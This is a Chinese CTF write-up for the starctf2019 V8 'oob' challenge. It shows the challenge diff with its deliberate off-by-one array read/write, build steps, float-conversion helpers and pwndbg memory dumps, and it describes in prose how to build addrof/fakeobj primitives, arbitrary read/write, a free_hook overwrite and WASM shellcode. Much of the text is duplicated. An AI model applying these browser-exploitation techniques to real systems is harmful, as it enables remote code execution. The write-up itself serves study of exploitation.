首页
社区
课程
招聘
[原创]v8漏洞调试学习--starctf2019 oob
发表于: 2021-5-11 17:47 11429

[原创]v8漏洞调试学习--starctf2019 oob

2021-5-11 17:47
11429

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/

chrome源码
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.h;drc=834cb0651d5b24307b3df8007c2bc6bd5db93c29;l=299

js语法
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DataView

oob.diff文件如下:

提供diff文件的浏览器漏洞利用题目,第一步就是要认真查看diff文件,确定出题者增加的漏洞具体信息。观察oob.diff补丁文件可以发现,出题者主要增加了三部分内容。
首先,为Array对象增加了一个oob函数,内部表示为kArrayOob:

然后,增加了kArrayOob函数的具体实现:

从上面看diff的增加的主要逻辑在第二部分。
大致意思就是:获取oob函数的参数,当参数个数为1时,读取数组第length个元素的内容,否则将第length个元素改写为args输入参数中的第二个参数,注意上述参数个数是C++中的参数长度。
我们都知道C++中成员函数的第一个参数必定是this指针,因此上述逻辑转换为JavaScript中的对应逻辑就是,当oob函数的参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中的第length个元素位置。

Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
v8无法表示64位整数,因此需要编写函数实现浮点数与64位整数之间的转换。函数实现如下:

通过debug版本的调试,了解JSArray数据结构
调试命令如下:

调试过程如下:

通过上面的调试,我们知道,JSArray的第一个元素是map,第二个元素是properties,第三个元素是elements指针,指向FixedDoubleArray,并且排列在JSArray前面。
那么我们就可以通过oob的越界读和越界写来泄露map和改写map,map表示该对象的类型,通过改写map就可以改变对象的类型,造成类型混淆。
但是由于debug版本会检查数组越界,不能调试。因此,我们调试release版本。
release版本的调试命令如下:

其中pwn.js就是上面的数据类型转化脚本。

调试过程如下:

对象的map表示以下信息:
The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, …
The size of the object in bytes
The properties of the object and where they are stored
The type of the array elements, e.g. unboxed doubles or tagged pointers
The prototype of the object if any
通过修改一个object array的map为float array的map,则可以将object的地址泄露出来。详细调试过程如下:

同理,将float array的map改为object array的map,则可以伪造一个虚假对象。
相应的读对象地址原语和伪造对象原语的函数如下:

将float array的element指针改写为任意地址,就可以任意地址读了。
如何改写到element指针呢?
在一个float array “arb_rw_arr”中伪造一个float array “fake”,通过arb_rw_arr来改写element指针,通过fake来读取内容。具体代码如下:

但是仅仅使用element指针来改写fake的元素,会报错。需要结合ArrayBuffer来实现任意地址写原语。通过改写ArrayBuffer的backing_store指针,既可实现任意地址写。代码如下:

ArrayBuffer数据结构调试如下:

通过调试发现backing_store指针位于偏移0x20的位置。

信息泄露:通过float Array的map指针泄露map的基地址,然后通过map偏移0x18的位置泄露堆地址,然后读取堆地址的内容,泄露d8的基地址。最后通过puts函数的got表泄露libc地址,从而泄露system函数和free_hook地址。
调试release版本,获取偏移的过程如下:

最后执行console.log("/bin/sh"),执行结束后调用free函数,从而获取shell。
完整利用代码如下:

验证命令: ../v8/out.gn/x64.release/d8 --shell exp_free.js
成功的截屏:

可以通过wasm代码来申请一个rwx的内存页,将shellcode写入。
获取rwx内存页地址的调试过程如下:

可以看到rwx内存页的地址位于wasm_instance对象的0x88偏移的位置。
通过ArrayBuffer来对这块内存写入shellcode,完整的exp如下:

shellcode的生成,我使用的是pwntools的。

运行成功的截图:

./chrome --no-sandbox ./index.html
index.html中内容如下:

 
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo "export PATH=/home/user1/Downloads/v8/depot_tools:$PATH" >> ~/.bashrc
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../starctf2019_oob/oob.diff #题目的patch
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release #release版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug 版本
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo "export PATH=/home/user1/Downloads/v8/depot_tools:$PATH" >> ~/.bashrc
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../starctf2019_oob/oob.diff #题目的patch
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release #release版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug 版本
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);  //增加了一个oob成员函数
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);  //增加了一个oob成员函数
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //off by one越界读取
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());//off by one越界写
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //off by one越界读取
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());//off by one越界写
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
gdb -x ../v8/tools/gdbinit -x ../v8/tools/gdb-v8-support.py --args ../v8/out.gn/x64.debug/d8 --allow-natives-synta
gdb -x ../v8/tools/gdbinit -x ../v8/tools/gdb-v8-support.py --args ../v8/out.gn/x64.debug/d8 --allow-natives-synta
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f28cdfc0700 (LWP 7929)]
[New Thread 0x7f28cd7bf700 (LWP 7930)]
[New Thread 0x7f28ccfbe700 (LWP 7931)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2];
undefined
d8> %DebugPrint(a);
DebugPrint: 0x2642e648dd79: [JSArray]
 - map: 0x2471f8a42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2679cd991111 <JSArray[0]>
 - elements: 0x2642e648dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x049475f80c71 <FixedArray[0]> {
    #length: 0x2b6cc32c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2642e648dd59 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
0x2471f8a42ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2471f8a42e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6cc32c0609 <Cell value= 1>
 - instance descriptors #1: 0x2679cd991f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2679cd991eb9 <TransitionArray[4]>Transition array #1:
     0x049475f84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2471f8a42f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
 
 - prototype: 0x2679cd991111 <JSArray[0]>
 - constructor: 0x2679cd990ec1 <JSFunction Array (sfi = 0x2b6cc32caca1)>
 - dependent code: 0x049475f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[1.1, 2.2]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 RAX  0x0
 RBX  0x7f28d1f9a7c0 ◂— push   rbp
 RCX  0x0
 RDX  0x7f28d0a61e73 ◂— '0 == args.length()'
 RDI  0x0
 RSI  0x0
 R8   0x7ffe884900d3 ◂— 0x0
 R9   0x3a
 R10  0xd
 R11  0x7f28d2eac280 (v8::base::OS::DebugBreak()) ◂— push   rbp
 R12  0x2679cd981869 ◂— 0x49475f80f
 R13  0x55dcca0c7f80 —▸ 0x49475f80751 ◂— 0x820000049475f807
 R14  0x0
 R15  0x7ffe8849c5c8 —▸ 0x49475f804d1 ◂— 0x49475f805
 RBP  0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
 RSP  0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
 RIP  0x7f28d2eac285 (v8::base::OS::DebugBreak()+5) ◂— pop    rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x7f28d2eac285 <v8::base::OS::DebugBreak()+5>    pop    rbp
   0x7f28d2eac286 <v8::base::OS::DebugBreak()+6>    ret
    
   0x7f28d1f9ab11                                   mov    rsi, qword ptr [rbp - 0x20]
   0x7f28d1f9ab15                                   lea    rdi, [rbp - 0x50]
   0x7f28d1f9ab19                                   call   v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt>
 
   0x7f28d1f9ab1e                                   lea    rdi, [rbp - 0x50]
   0x7f28d1f9ab22                                   call   0x7f28d2a7c720 <0x7f28d2a7c720>
 
   0x7f28d1f9ab27                                   mov    qword ptr [rbp - 0x48], rax
   0x7f28d1f9ab2b                                   mov    rax, qword ptr [rbp - 0x48]
   0x7f28d1f9ab2f                                   mov    qword ptr [rbp - 8], rax
   0x7f28d1f9ab33                                   lea    rdi, [rbp - 0x38]
──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/user1/Downloads/v8/v8/src/base/platform/platform-posix.cc
   423   // Software breakpoint instruction is 0x0001
   424   asm volatile(".word 0x0001");
   425 #else
   426 #error Unsupported host architecture.
   427 #endif
 428 }
   429
   430
   431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile {
   432  public:
   433   PosixMemoryMappedFile(FILE* file, void* memory, size_t size)
00:0000│ rbp rsp 0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
01:0008│         0x7ffe8849c478 —▸ 0x7f28d1f9ab11 ◂— mov    rsi, qword ptr [rbp - 0x20]
02:0010│         0x7ffe8849c480 ◂— 0x1007ffe8849c4a8
03:0018│         0x7ffe8849c488 —▸ 0x7f28d0a2e180 ◂— 'length_ >= 0'
04:0020│         0x7ffe8849c490 ◂— 0xfffffffd
05:0028│         0x7ffe8849c498 ◂— 0x0
06:0030│         0x7ffe8849c4a0 ◂— 0x0
07:0038│         0x7ffe8849c4a8 —▸ 0x55dcca0c7f00 —▸ 0x7ffe8849d4a0 ◂— 0x55dcca0c7f00
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x7f28d2eac285 v8::base::OS::DebugBreak()+5
   f 1   0x7f28d1f9ab11
   f 2   0x7f28d1f9a8d7
   f 3   0x7f28d27701db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+59
   f 4   0x7f28d2945672 Builtins_CallRuntimeHandler+178
   f 5   0x7ffe8849c590
   f 6   0x7ffe8849c590
   f 7   0x7ffe8849c5f0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx 0x2642e648dd79-1
0x2642e648dd78: 0x00002471f8a42ed9      0x0000049475f80c71
0x2642e648dd88: 0x00002642e648dd59      0x0000000200000000
pwndbg>  x/10gx 0x00002642e648dd59-1
0x2642e648dd58: 0x0000049475f814f9      0x0000000200000000
0x2642e648dd68: 0x3ff199999999999a      0x400199999999999a
0x2642e648dd78: 0x00002471f8a42ed9      0x0000049475f80c71
0x2642e648dd88: 0x00002642e648dd59      0x0000000200000000
0x2642e648dd98: 0x0000049475f80941      0x00000adc49efffe6
pwndbg> p/f 0x3ff199999999999a
$1 = 1.1000000000000001
pwndbg> p/0x400199999999999a
$2 = 2.2000000000000002
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f28cdfc0700 (LWP 7929)]
[New Thread 0x7f28cd7bf700 (LWP 7930)]
[New Thread 0x7f28ccfbe700 (LWP 7931)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2];
undefined
d8> %DebugPrint(a);
DebugPrint: 0x2642e648dd79: [JSArray]
 - map: 0x2471f8a42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2679cd991111 <JSArray[0]>
 - elements: 0x2642e648dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x049475f80c71 <FixedArray[0]> {
    #length: 0x2b6cc32c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2642e648dd59 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
0x2471f8a42ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2471f8a42e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6cc32c0609 <Cell value= 1>
 - instance descriptors #1: 0x2679cd991f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2679cd991eb9 <TransitionArray[4]>Transition array #1:
     0x049475f84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2471f8a42f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
 
 - prototype: 0x2679cd991111 <JSArray[0]>
 - constructor: 0x2679cd990ec1 <JSFunction Array (sfi = 0x2b6cc32caca1)>
 - dependent code: 0x049475f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[1.1, 2.2]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 RAX  0x0
 RBX  0x7f28d1f9a7c0 ◂— push   rbp
 RCX  0x0
 RDX  0x7f28d0a61e73 ◂— '0 == args.length()'
 RDI  0x0
 RSI  0x0
 R8   0x7ffe884900d3 ◂— 0x0
 R9   0x3a
 R10  0xd
 R11  0x7f28d2eac280 (v8::base::OS::DebugBreak()) ◂— push   rbp
 R12  0x2679cd981869 ◂— 0x49475f80f
 R13  0x55dcca0c7f80 —▸ 0x49475f80751 ◂— 0x820000049475f807
 R14  0x0
 R15  0x7ffe8849c5c8 —▸ 0x49475f804d1 ◂— 0x49475f805
 RBP  0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
 RSP  0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
 RIP  0x7f28d2eac285 (v8::base::OS::DebugBreak()+5) ◂— pop    rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x7f28d2eac285 <v8::base::OS::DebugBreak()+5>    pop    rbp
   0x7f28d2eac286 <v8::base::OS::DebugBreak()+6>    ret
    
   0x7f28d1f9ab11                                   mov    rsi, qword ptr [rbp - 0x20]
   0x7f28d1f9ab15                                   lea    rdi, [rbp - 0x50]
   0x7f28d1f9ab19                                   call   v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt>
 
   0x7f28d1f9ab1e                                   lea    rdi, [rbp - 0x50]
   0x7f28d1f9ab22                                   call   0x7f28d2a7c720 <0x7f28d2a7c720>
 
   0x7f28d1f9ab27                                   mov    qword ptr [rbp - 0x48], rax
   0x7f28d1f9ab2b                                   mov    rax, qword ptr [rbp - 0x48]
   0x7f28d1f9ab2f                                   mov    qword ptr [rbp - 8], rax
   0x7f28d1f9ab33                                   lea    rdi, [rbp - 0x38]
──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/user1/Downloads/v8/v8/src/base/platform/platform-posix.cc
   423   // Software breakpoint instruction is 0x0001
   424   asm volatile(".word 0x0001");
   425 #else
   426 #error Unsupported host architecture.
   427 #endif
 428 }
   429
   430
   431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile {
   432  public:
   433   PosixMemoryMappedFile(FILE* file, void* memory, size_t size)
00:0000│ rbp rsp 0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
01:0008│         0x7ffe8849c478 —▸ 0x7f28d1f9ab11 ◂— mov    rsi, qword ptr [rbp - 0x20]
02:0010│         0x7ffe8849c480 ◂— 0x1007ffe8849c4a8
03:0018│         0x7ffe8849c488 —▸ 0x7f28d0a2e180 ◂— 'length_ >= 0'
04:0020│         0x7ffe8849c490 ◂— 0xfffffffd
05:0028│         0x7ffe8849c498 ◂— 0x0
06:0030│         0x7ffe8849c4a0 ◂— 0x0
07:0038│         0x7ffe8849c4a8 —▸ 0x55dcca0c7f00 —▸ 0x7ffe8849d4a0 ◂— 0x55dcca0c7f00
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x7f28d2eac285 v8::base::OS::DebugBreak()+5
   f 1   0x7f28d1f9ab11
   f 2   0x7f28d1f9a8d7
   f 3   0x7f28d27701db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+59
   f 4   0x7f28d2945672 Builtins_CallRuntimeHandler+178
   f 5   0x7ffe8849c590
   f 6   0x7ffe8849c590
   f 7   0x7ffe8849c5f0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx 0x2642e648dd79-1
0x2642e648dd78: 0x00002471f8a42ed9      0x0000049475f80c71
0x2642e648dd88: 0x00002642e648dd59      0x0000000200000000
pwndbg>  x/10gx 0x00002642e648dd59-1
0x2642e648dd58: 0x0000049475f814f9      0x0000000200000000
0x2642e648dd68: 0x3ff199999999999a      0x400199999999999a
0x2642e648dd78: 0x00002471f8a42ed9      0x0000049475f80c71
0x2642e648dd88: 0x00002642e648dd59      0x0000000200000000
0x2642e648dd98: 0x0000049475f80941      0x00000adc49efffe6
pwndbg> p/f 0x3ff199999999999a
$1 = 1.1000000000000001
pwndbg> p/0x400199999999999a
$2 = 2.2000000000000002
gdb --args ../v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
gdb --args ../v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
